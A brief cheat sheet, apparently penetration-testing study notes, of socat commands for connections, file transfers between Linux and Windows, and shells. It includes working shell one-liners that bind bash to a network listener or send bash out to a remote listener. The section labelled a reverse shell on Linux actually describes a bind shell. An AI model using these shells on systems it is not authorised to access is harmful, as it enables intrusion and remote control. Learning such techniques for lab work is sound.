Socat

#Normal connection Linux ←→ linux:

Listener: socat TCP4-LISTEN:1234 STDOUT

Connection: socat STDIN TCP4:10.10.10.10:1234

#Reverse shell (Linux ←→ linux)

Listening IP 10.10.10.10

socat TCP4-LISTEN:1234 EXEC:/bin/bash

Connecting

socat STDIN TCP4:10.10.10.10:1234

ls Desktop Downloads…..

#File Tansfers Linux -->Linux

Sender

socat FILE:./file.txt TCP4-LISTEN:1234

Receiver

socat – TCP4:10.10.10.10:1234 > file2.txt (important to rename file differently)

#File transfers Linux → Windows

Linux (IP 10.10.10.10 port 443)

socat TCP4-LISTEN:443, fork file:file.txt

Windows

socat TCP4:10.10.10.10:443 file:file2.txt,create (important to rename incoming file)

OR:

Kali: sudo socat TCP4-LISTEN:443,fork file:file.txt

Linux : socat TCP4:127.0.0.1:443 file:file2.txt,create

#Socat Reverse shell (Windows to kali, Execute commands from Win ---> kali)

Windows : (Windows client IP 10.11.0.22)

socat -d -d TCP4-LISTEN:443 STDOUT

Kali socat TCP4:10.11.0.22:443 EXEC:/bin/bash


Once executed Windows machine can run commands on Kali